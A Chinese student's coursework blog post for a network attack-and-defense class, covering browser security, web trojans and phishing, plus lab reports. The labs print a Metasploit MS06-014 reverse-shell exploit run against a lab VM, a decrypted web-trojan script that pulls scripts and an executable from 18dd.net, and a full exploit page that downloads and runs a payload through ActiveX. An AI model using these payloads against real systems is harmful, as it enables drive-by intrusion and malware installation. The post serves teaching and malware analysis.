zoukankan      html  css  js  c++  java
  • 20199306 2019-2020-2 《网络攻防实践》第12周作业

    20199306 2019-2020-2 《网络攻防实践》第12周作业

    一.实践内容

    1.Web浏览器的安全威胁

    1.1.现代Web浏览器的基本结构与机理

    • 现代Web浏览器指的是符合“现代标准”,并被互联网用户所接受使用的Web浏览器软件,目前的现代Web浏览器要求能够理解并支持HTML和XHTML、CSS、ECMAScript及W3C DOM等一系列标准,其基本结构与各种功能特性的复杂性也已经大大增加。需要支持各种应用层协议的Stream流接收与解析,并维护DOM对象模型结构,通过支持EMCAScript标准构建JavaScript、Flash ActionScript等客户端脚本语言的执行环境,以及支持CSS标准控制页面布局,最终在浏览器终端中将服务器端的各种流媒体对象、应用程序、客户端脚本执行效果进行渲染,展现给终端用户。
    • 现代Web浏览器软件除了在内核引擎中实现符合各种标准的基本功能和特性之外,普遍地采用各种扩展机制允许第三方开发一些插件,以提升浏览器软件功能的丰富性。下表显示了目前全球五个最主要的现代Web浏览器软件所采用的内核引繁与可扩展性机制情况,微软IE浏览器基于 Trident内核引擎(也被称为 MSHTML),在第一次浏览器战争过程中的1996年即采用了 Activex技术来支持第三方开发扩展插件,并沿用至今。Mozilla Firefox的内核引繁为 Gecko,通过XUL平台支持扩展插件开发。
    • Google Chrome和苹果的Safari都基于开源的 Webkit内核引擎, Opera基于的内核引擎为 Presto,这三款浏览器软件均于2010年才开始支持第三方扩展插件,Google Chrome可通过Xmlhttprequest和JSON机制来实现第三方扩展,而 Safari与 Opera则采用了标准化的 HTML5、CSS3与 Javascript支持第三方实现扩展插件。除了扩展插件机制之外,现代Web浏览器还通过各种客户端脚本执行环境、独立沙箱运行环境和虚拟机,来支持构造具有桌面应用程序特性的富 Internet应用(RIA: Rich Internet Application),目前Adobe Flash/Flex、Java和微软Sliverlight是三种最普遍的RIA平台环境技术,帮助Web应用程序提供更友好的用户交互、客户端执行与展现效果。

    1.2.Web浏览的安全问题与威胁

    • Web浏览器软件的安全困境三要素:复杂性、可扩展性、连通性;
    • Web浏览安全威胁位置:
      • 针对传输网络的网络协议安全威胁:网络是连接Web应用服务端与客户端浏览环境的媒介,因此对于Web浏览端而言,与Web服务器端同样面临着网络传输协议安全攻击与威胁。
      • 针对Web浏览端系统平台的安全威胁:互联网用户在浏览网页过程中所使用的浏览器软件、插件及相关应用程序都运行在桌面操作系统之上,桌面操作系统所存在的安全漏洞使得Web浏览环境存在着被攻击的风险。
      • 针对Web浏览器软件及插件程序的滲透攻击威胁:随着防火墙、网络入侵防御系统等安全设备在网络边界上的部署,传统的针对服务器端的渗透攻击变得愈加困难,在这背景下,针对Web浏览器软件及插件程序的客户端渗透攻击在近几年来逐渐变得流行。
      • 针对互联网用户的社会工程学攻击威胁:恶意攻击会利用进行Web浏览的互联网用户本身所存在的人性、心理等方面的弱点,实施社会工程学攻击。

    2.Web浏览端的渗透攻击威胁---网页木马


    2.1.网页木马安全威胁的产生背景

    • 网页木马的产生于发展背景:网页木马是从恶意网页脚本所孕育和发展出来的;
    • 网页木马发展与流行的驱动力---黑客地下经济链
    • 网页木马存在的技术基础----Web浏览端安全漏洞

    2.2.网页木马的机理分析
    2.2.1.网页木马的定义特性

    • 通过对网页木马起源背景和存在技术基础的分析,我们可以认知到网页木马从本质特性上是利用了现代Web浏览器软件中所支持的客户端脚本执行能力,针对Web浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序。因此从根本上分析,网页木马是针对Web浏览端软件实施的客户端滲透攻击代码,是对在针对服务器端软件的传统滲透攻击代码基础上的一种演进,针对服务器端软件的滲透攻击形式从网络攻击出现以来一直是主流。
    • 基于上述分析,我们定义网页木马是对Web浏览端软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本如JavaScript、VBScript实现,或以Flash、PDF等恶意构造的Web文件形式存在,通过利用Web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序。

    2.2.2.对网页木马机理的全方位分析与理解

    • 由于网页木马采用的是客户端渗透攻击的形式,就不可避免地需要Web浏览端软某访问构造的恶意Web页面内容,才可能触发滲透攻击过程。因此,与传统服务器端滲透攻击可以主动地进行网络扫描与攻击不同,网页木马的攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面此外在网页木马通过渗透攻击获得客户端计算机的远程代码执行权限之后,为了进行进一步的主机控制和敏感信息窃取,一般需要植入一些盗号木马等类型的恶意程序。因此实施网页木马攻击不像传统服务器端滲透攻击那么简单,往往涉及较为复杂的多步骤攻击场景,并需要多种类型的恶意代码及网络资源。
    • 网页木马的特点:
      • 多样化的客户端渗透攻击位置和技术类型
      • 分布式、复杂的微观链接结构
      • 灵活多变的混淆与对抗分析能力

    2.2.3.网页挂马机制

    • 内嵌HTML标签:第一类策略使用内嵌HTML标签,如iframe、frame等,将网页木马链接嵌入到网站首页或其他页面中;
    • 恶意Script脚本:利用script脚本标签通过外部引用脚本的方式来包含网页木马;
    • 内嵌对象链接:第三类网页挂马策略利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载,这种挂马技术能够产生出一些包含网页木马链接的图片或Flash文件,通过向一些允许用户上传图片和Flash文件的网站进行上传,从而造成这些网站特定页面被挂马危害的后果。
    • ARP欺骗挂马:arp漆面挂马不需要真正地攻陷目标网站,在同一以太网网段内,攻击者通过ARP欺骗方法就可以进行中间人攻击,劫持所有目标网站出入的网络流量,并可在目标网站的HTML反馈包中注入任意的恶意脚本,从而使其成为将网络访问流量链接至网页木马的挂马站点。

    2.3.4.混淆机制

    • 将代码重新排版,去除缩进、空行、换行、注释等;
    • 通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆;
    • 通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数进行解密,再使用document.Write()或eval()进行动态输出或执行;
    • 利用字符串运算、数学运算或特殊函数混淆代码;
    • 修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件。

    2.3.网页木马的检测与分析技术

    • 基于特征码匹配的传统检测方法
    • 基于统计与机器学习的静态分析方法
    • 基于动态行为结果判定的检测分析方法
    • 基于模拟浏览器环境的动态分析检测方法
    • 网页木马检测分析技术综合对比

    2.4.网页木马防范措施
    应对网页木马最根本的防范措施与应对传统渗透攻击一样,就是提升操作系统与浏览端平台软件的安全性,可以采用操作系统本身提供的在线更新以及第三方软件所提供的常用应用软件更新机制,来确保所使用的计算机始终处于一种相对安全的状态:另外安装与实时更新一款优秀的反病毒软件也是应对网页木马威胁必不可少的环节,同时养成安全上网浏览的良好习惯,并借助于 Google安全浏览、 Site Advisor等站点安全评估工具的帮助避免访问那些可能遭遇挂马或者安全性不高的网站,可以有效地降低被网页木马滲透攻击的概率:最后,在目前网页木马威胁主要危害 Windows平台和IE浏览器用户的情况下,或许安装 Mac OS/ Linux操作系统,并使用 Chrome、 Safari、 Opera等冷门浏览器进行上网,做互联网网民中特立独行的少数派,可以有效地避免网页木马的侵扰。

    3.解开网络钓鱼的黑幕

    3.1.网络钓鱼技术概述

    3.1.1网络钓鱼攻击的起源与发展

    • 早期网络钓鱼攻击主要目的是获得受害者的AOL等网络服务账号的访问权,偶尔也期望获取信用卡数据以用于欺诈目的(如非法买卖这些信用卡信息)。这些钩鱼邮件通常利用一个简单的诡计来哄骗一些“菜鸟级”用户,这些欺骗手段很大程度依赖于受害者对“自动化的”系统功能或者权威机构的先天性信任,前面的例子中给出一个AOL硬件设备故障的情节,大部分的普通用户都会重视任何看起来正式的、或是为他们提供紧急帮助时所提的技术要求,同时用户通常会被催促尽快输入其敏感信息,从而避免遭受严重的后果。

    3.1.2.中国的网络钓鱼攻击

    • 随着中国互联网服务的日渐普遍,从2004年以来,网络钓鱼攻击也开始在中国大陆出现,出现了多次假冒银行、证券网站实施欺诈攻击的案例,著名的如“证券大盗”案件、假冒中国工商银行网站等。

    3.2.网络钓鱼攻击的技术内幕

    • 蜜网技术使得我们可以捕获这样一次典型网络钓鱼攻击整个生命周期中的详细数据,从中可以分析得出网络钓鱼攻击的普遍技术流程:
      • 攻击者扫描网段,寻找存有漏洞的服务器
      • 服务器被攻陷,并被安装一个Rootkit或口令保护的后门工具
      • 攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置与测试工作,使得钓鱼网站上线运行
      • 攻击者下载群发电子邮件工具,并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件
      • 网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问假冒的钓鱼网页内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息。

    3.3.网络钓鱼攻击技术策略

    • 首先钓鱼攻击者需要架设支撑钓鱼攻击的底层基础设施:为了隐藏自己躲避执法部门的追踪,他们都是通过从互联网上寻找被攻陷服务器来搭建钩鱼攻击网络,他们往往扫描互联网的IP地址空间以寻找潜在的存有漏洞的主机,并攻陷那些缺乏有效安全防护的服务器、甚至个人主机:有了服务器资源之后,他们就开始在上面架设钓鱼网站,包括假冒各种知名金融机构和在线电子商务网站的前台假冒钓鱼网站,以及后台用于收集、验证和发送用户输入敏感信息的脚本,使用最新的HTML页面编辑工具可以非常容易地构建出模仿目标组织机构的网站页面来,而有组织的网络钩鱼犯罪者甚至能够实时跟踪各个日标组织机构网站的更新,并在集中服务器上存放这些假冒钩鱼网站的构建内容及脚本,这样在攻陷一台服务器之后,通过执行少数几个命令,就可以很快地完成钓鱼网站的部署:此外我们也看到了钓鱼攻击者往往通过多级的端口重定向服务来架构一个规模庞大而复杂的钓鱼攻击网络,在多个攻陷服务器上设置端口重定向引诱受害用户访问钓鱼网站,而即使钓鱼网站被执法部门摧毁,他们开可以通过更新端口重定向服务的目标地址,来快速地恢复
      钓鱼攻击网络的运行。
    • 在构建完毕钓鱼网站之后,钓鱼攻击者最大的挑战是如何欺骗大量的互联网用户访问的钓鱼网站,除了技术层面上实施DNS中毒攻击或 Pharming网络流量重定向之外,目前更常见的就是通过各种自动化的社会工程学手段来构造欺骗性垃圾邮件或者信息,来实施撒网式的钓鱼攻击。一般采用境外的开放邮件服务器或者租借僵尸网络来发送这些欺骗邮件,使得执法部门难以追踪钧鱼者的踪迹,而邮件的发送源往往是冒充假冒钓鱼网站相对应的知名权威机构,发送内容中经常以各种安全性理由、紧急事件或者中奖信息,来欺骗用户访问其中包含的钩鱼网站链接,从而受欺骗给出个人敏感信息内容,具体的欺骗技巧包括:
      • 在指向假冒网站的链接中使用IP地址代替域名
      • 注册发音相近或形似的DNS域名,并在上面假设假冒网站
      • 在一个假冒钓鱼网网站的电子邮件HTML内容中嵌入一些指向真实的目标网站链接,而少部分指向假冒的网站
      • 对假冒网站的URL进行编码和混淆
      • 企图攻击用户网页浏览器存在的漏洞,使之隐藏消息内容的实质
      • 将假冒的钓鱼网站配置成记录用户提交的所有数据并进行不可察觉的日志,然后将用户重定向到真实的网站
      • 架设一个假冒网站,作为目标机构真实网站的代理
      • 通过恶意代码在受害者计算机上安装一个恶意的浏览器助手工具,然后由其将受害者重定向到假冒的钓鱼网站
      • 使用恶意代码去修改受害者计算机上的用来维护DNS域名和IP地址映射的本地hosts文件,将合法域名跳转到假冒网站IP

    3.4.网络钓鱼攻击的防范

    • 针对网络钓鱼过程中的电子邮件和即时通信信息欺诈,应该提高警惕性,对于以中奖、优惠、紧急状态等各种名义索収个人敏感信息的邮件一定要持怀疑态度,在未经认真核准的情况下,不要轻易相信并打来邮件中的链接。
    • 充分利用浏览器软件、网络安全厂商软件所提供的反钓鱼网站功能特性,如浏览器中对HTTPS安全登录链接的提示,地址栏中对访问网站域名的标黑高亮提示、对钓鱼网站的警告提示与举报功能。但同时又不能完全依赖于这些浏览器与网络安全软件的安全提示,对于进行关键的在线金融操作时,还需要靠个人的安全意识来辩别可能面对的新的钓鱼网站。
    • 在登录网上银行、证券基金等关键网站进行在线金融操作时,务必要重视访问网站的真实性,不要点击邮件中的链接来访问这些网站,最好以直接访问域名方式来访问,尽量使用硬件U盾来代替软证书或口令访问重要的金融网站。对网上银行异常动态提高警惕,如不小心在陌生的网址上输入了账户和密码,并遇到类似“系统维护”之类提示时,应立即拨打有关客服热线进行确认,万一资料被盗,应立即修改相关交易密码或进行银行证券交易卡挂失。
    • 最为重要的是,通过学习和修炼提升自己抵抗社会工程学攻击的能力,从而在日流行的撒网式钓鱼攻击中立于不败之地,因为撒网式钓鱼攻击不会采用复杂度很高的欺骗技巧,我们每个人都存在社会工程学攻击漏洞,只要比绝大多数人更懂得一些欺骗攻击技巧和相应的防范措施,并在实际过程中加以关注,就很难被撒网式钓鱼攻击所危害。

    二.实践过程

    实践1——Web浏览器渗透攻击实验

    • 任务:使用攻击机进行浏览器渗透攻击实践。
    • 环境:攻击机:Kali、靶机:Windows靶机。
      • 选择使用Metasploit中的MS06-014渗透攻击模块。
      • 选择PAYLOAD为任意远程Shell连接。
      • 设置LHOST参数,运行exploit,构造出恶意网页脚本。
      • 在靶机环境中启动浏览器,访问恶意网页脚本URL。
      • 查看建立起的远程控制会话SESSION。
        1.靶机为Win2KServer,IP地址为192.168.200.124,攻击机为Kali,IP地址为192.168.200.2

    2.首先启动Metasploit,然后搜索漏洞MS06-014信息,执行use命令选择该漏洞

    3.设置靶机和攻击机地址set rhost 192.168.200.124、set lhost 192.168.200.2

    4.设置payload为set payload windows/meterpreter/reverse_tcp,并执行run,我们发现给了我们一个Local IP: http://192.168.200.2:8080/tMTE82fr6jA

    5.在靶机打开这个链接

    6.回到kali可以看到已经建立了会话

    7.执行sessions -i 1,打开会话,然后执行指令,发现执行成功,sessions成功建立。

    实践2——剖析一个实际的网页木马攻击场景

    • 题目:一个研究组发现了一个域名为 18dd.net 的挂马网站。在链接分析的过程中, 发现有大量恶意网页最终都重定向到了这个网站上。
      • 试述你是如何一步步地从所给的网页中获取最后的真实代码的?
      • 网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
      • 从解密后的结果来看,攻击者利用了那些系统漏洞?
      • 解密后发现了多少个可执行文件?其作用是什么?
      • 这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?

    1.start.html文件和其他的html文件不存在

    2.打开7f60672dcd6b5e90b6772545ee219bd3文件,可以看到Base64编码, xxtea加密,加密秘钥x73x63x72x69x70x74,使用16进制转换为script

    3.解密后结果为:

    function init(){document.write();}
    window.onload = init;
    if(document.cookie.indexOf('OK')==-1){
    try{var e;
    var ado=(document.createElement("object"));
    ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
    var as=ado.createobject("Adodb.Stream","")}
    catch(e){};
    finally{
    var expires=new Date();
    expires.setTime(expires.getTime()+24*60*60*1000);
    document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
    if(e!="[object Error]"){
    document.write("<script src=http://aa.18dd.net/aa/1.js></script>")}
    else{
    try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
    catch(f){};
    finally{if(f!="[object Error]"){
    document.write("<script src=http://aa.18dd.net/aa/b.js></script>")}}
    try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
    catch(g){};
    finally{if(g!="[object Error]"){
    document.write("<script src=http://aa.18dd.net/aa/pps.js></script>")}}
    try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
    catch(h){};
    finally{if(h!="[object Error]"){
    obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
    }}}
    

    这个文件利用到的应用程序漏洞有“Adodb.Stream”、“MPS.StormPlayer”、“POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”,分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。

    4.用PEID看一下这个程序,发现它是没有加壳,用W32DAsm反汇编这个bd.exe文件。首先,可以看到它会下载很多的exe文件,shellAutocommand=说明了该程序会自动执行shell指令,启动受害者主机目录下的一个程序;最后还发现了"瑞星卡卡上网安全助手 - IE 防漏墙","允许", "允许执行",这个应该是防止被杀毒软件查杀的设置。


    实践3——Web浏览器渗透攻击攻防对抗

    • 任务:攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

    1.对实践一中MS06-014漏洞进行攻击,下载访问的链接的网页,然后打开分析,发现该网页为了防止被杀毒软件查杀,使用了空白和间隔。进过去除无效回车符和空格后,我们得到了完整的网页信息,然后可以看到,该网页中的JavaScript使用了createObject,GetObject,Wscript.shell,Adobe.stream等指令

    < html>
        < head>
            < title>
                < /title>
                    <script language="javascript">
                        function jwnxVgMVVlmT(o, n) {
                            var r = null;
                            try {
                                eval("r=o.CreateObject(n)")
                            } catch (e) {}
                            if (!r) {
                                try {
                                    eval("r=o.CreateObject(n,'')")
                                } catch (e) {}
                            }
                            if (!r) {
                                try {
                                    eval("r=o.CreateObject(n,'','')")
                                } catch (e) {}
                            }
                            if (!r) {
                                try {
                                    eval("r=o.GetObject('',n)")
                                } catch (e) {}
                            }
                            if (!r) {
                                try {
                                    eval("r=o.GetObject(n,'')")
                                } catch (e) {}
                            }
                            if (!r) {
                                try {
                                    eval("r=o.GetObject(n)")
                                } catch (e) {}
                            }
                            return (r)
                        }
                        function eKXqxEpEOOOxsLSXxJeRxJCn(a) {
                            var s = jwnxVgMVVlmT(a, "WScript.Shell");
                            var o = jwnxVgMVVlmT(a, "ADODB.Stream");
                            var e = s.Environment("Process");
                            var url = document.location + '/payload';
                            var xml = null;
                            var bin = e.Item("TEMP") + "\MrDqdDEsHwVsvWYbTDp.exe";
                            var dat;
                            try {
                                xml = new XMLHttpRequest()
                            } catch (e) {
                                try {
                                    xml = new ActiveXObject("Microsoft.XMLHTTP")
                                } catch (e) {
                                    xml = new ActiveXObject("MSXML2.ServerXMLHTTP")
                                }
                            }
                            if (!xml) {
                                return (0)
                            }
                            xml.open("GET", url, false);
                            xml.send(null);
                            dat = xml.responseBody;
                            o.Type = 1;
                            o.Mode = 3;
                            o.Open();
                            o.Write(dat);
                            o.SaveToFile(bin, 2);
                            s.Run(bin, 0)
                        }
                        function XlQTpSAsmOEMwLPxUVPUgMKrlrBR() {
                            var i = 0;
                            var t = new Array(' {
        BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
    }
    ', ' {
        BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
    }
    ', ' {
        7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
    }
    ', ' {
        6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
    }
    ', ' {
        6414512B - B978 - 451D - A0D8 - FCFDF33E833C
    }
    ', ' {
        06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
    }
    ', ' {
        639F725F - 1B2D - 4831 - A9FD - 874847682010
    }
    ', ' {
        BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
    }
    ', ' {
        D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
    }
    ', ' {
        E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
    }
    ', ' {
        AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
    }
    ', ' {
        0006F033 - 0000 - 0000 - C000 - 000000000046
    }
    ', ' {
        0006F03A - 0000 - 0000 - C000 - 000000000046
    }
    ', null);
                            while (t[i]) {
                                var a = null;
                                if (t[i].substring(0, 1) == ' {
        ') {
                                    a = document.createElement("object");
                                    a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1))
                                } else {
                                    try {
                                        a = new ActiveXObject(t[i])
                                    } catch (e) {}
                                }
                                if (a) {
                                    try {
                                        var b = jwnxVgMVVlmT(a, "WScript.Shell");
                                        if (b) {
                                            eKXqxEpEOOOxsLSXxJeRxJCn(a);
                                            return (0)
                                        }
                                    } catch (e) {}
                                }
                                i++
                            }
                        }
                    </script>
                    </head>
                    
                    <body onload='
                    XlQTpSAsmOEMwLPxUVPUgMKrlrBR()
                    '>
                        BcnGzcfhpOowOiNb
                    </body>            
                    </html>
    

    2.搜索出现的BD96C556,得出结论

    实践4——Web浏览器遭遇攻击、取证分析

    • 任务:通过分析给的网络记录文件,回答下列问题:
      • 列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
      • 列出IP地址、主机名、域名,猜测攻击场景的环境配置。
      • 列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
      • 请给出攻击者执行攻击动作的概要描述。
      • 攻击者引入了哪些技巧带来了困难。
      • 攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
      • shellcode执行了哪些操作?比较他们之间MD5的差异?
      • 在攻击场景中有二进制可执行代码参与吗?目的是什么?
      • 针对哪个或哪些协议的使用chaosreader读取这个文件chaosreader ./suspicious-time.pcap推断出可能是HTTP攻击。

    1.首先apt-get isntall chaoreader安装chaosreader然后用chaosreader -r suspicious-time.pcap打开suspicious-time.pcap文件可以看到结果有HTTP、ICMP、netbios等协议

    2.使用命令:for i in session_00[0-9]*.http.html; do srcip=cat "$i" | grep 'http: ' | awk '{print $2}' | cut -d ':' -f1; dstip=cat "$i" | grep 'http: ' | awk '{print $4}' | cut -d ':' -f1; host=cat "$i" | grep 'Host: ' | sort -u | sed -e 's/Host: //g'; echo "$srcip --> $dstip = $host"; done | sort -u

    通过图片可以看到,rapidshare.com.eyu32.ru 对应192.168.56.50,sploitme.com.cn对应192.168.56.50,shop.honeynet.sg对应192.168.56.51。
    服务:10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2 (DHCP 服务和网关),192.168.1.1 (DNS 服务)。
    受害者:10.0.2.15, 10.0.3.15, 10.0.4.15,10.0.5.15 。
    模拟被侵入主机:192.168.56.50 ( “rapidshare.com.eyu32.ru”)、192.168.56.51 (“shop.honeynet.sg”)。
    攻击者:192.168.56.52 ( “sploitme.com.cn”)。

    3.使用命令:tshark -r suspicious-time.pcap | grep 'NB.20>' | sed -e 's/<[^>]>//g' | awk '{print $3,$4,$10}' | sort -u ,筛选出 NBNS 协议,网络基本输入/输出系统 (NetBIOS) 名称服务器 (NBNS) 协议是 TCP/IP 上的 NetBIOS (NetBT) 协议族的一部分,它在基于 NetBIOS 名称访问的网络上提供主机名和地址映射方法

    4.使用命令:tshark -r suspicious-time.pcap | grep 'NB.1e>' | sed -e 's/<[^>]>//g' | awk '{print $3,$4,$10}' | sort -u ,看到这四个不同 ip 地址的主机分别映射的主机名是相同的,所以场景是虚拟机

    5.打开session_0006.part_01.html,大概是一个诱导输入用户名和口令的钓鱼页面

    session_0007.part_02.html则是一个伪造的404页面

    6.给出攻击者执行攻击动作的概要描述

    • 攻击者将恶意javascript代码注入指向sploitme.com.cn/?click=X的隐藏iframe。
    • 当访问者查看这些页面时,它们首先被重定向到sploitme.com.cn/fg/show.php?s=X,该页面通过302 FOUND标头重定向到伪造的404页面(请参见数据包63、174、366)。
    • 然后在该页面中,检查用户代理字符串,着陆点和其他参数,并(show.php)发出另一个javascript代码,该代码尝试各种攻击以在受害者的计算机中执行代码。
    • 如果任何漏洞利用成功,则客户端的计算机将下载并执行位于sploitme.com.cn/fg/load.php?e=X的文件。 在我们的案例中,恶意软件访问www.honeynet.org。

    7.攻击者引入了哪些技巧带来了困难?

    8.攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
    Mdac : WScript.Shell - MS06-014
    Aolwinamp: IWinAmpActiveX.ConvertFile
    Directshow: msvidctl.dll - MS09-032 - MS09-037
    Snapshot: MSOfficeSnapshotViewer - MS08-04
    Com:'msdds.dll' COM Object - MS05-052
    Spreadsheet: OWC10.Spreadsheet - MS09-43

    9.在攻击场景中有二进制可执行恶意代码参与吗?它们的目的是什么?

    • 有恶意软件的参与,可以看到下载恶意软件的可执行文件并在本地执行,恶意软件通过Internet Explorer加载www.honeynet.org。

    三.学习中遇到的问题及解决

    • 问题1:工具安装失败
    • 解决1:更换虚拟机并且升级系统,更改网络连接方式

    四.实践总结

    本次实验依旧是分析部分不会,要靠查阅很多东西才能完成实验。其他部分依旧是使用好工具即可。

    参考资料

  • 相关阅读:
    用简单C程序分析DOS下的EXE文件【转】
    汇编函数的调用[转自KingofCoders]
    windows下的shellcode剖析浅谈[转自看雪]
    如何写一个简单的病毒程序[转]
    不用注册访问论坛技巧
    函数调用堆栈变化分析[转自看雪]
    IT学生解惑真经(下载)
    Windows 汇编语言编程教程[转]
    ESP定律介绍(转自看雪论坛贴)
    【Anti Virus专题】1.1 病毒的原理 [转自看雪]
  • 原文地址:https://www.cnblogs.com/Huyiming/p/12924690.html
Copyright © 2011-2022 走看看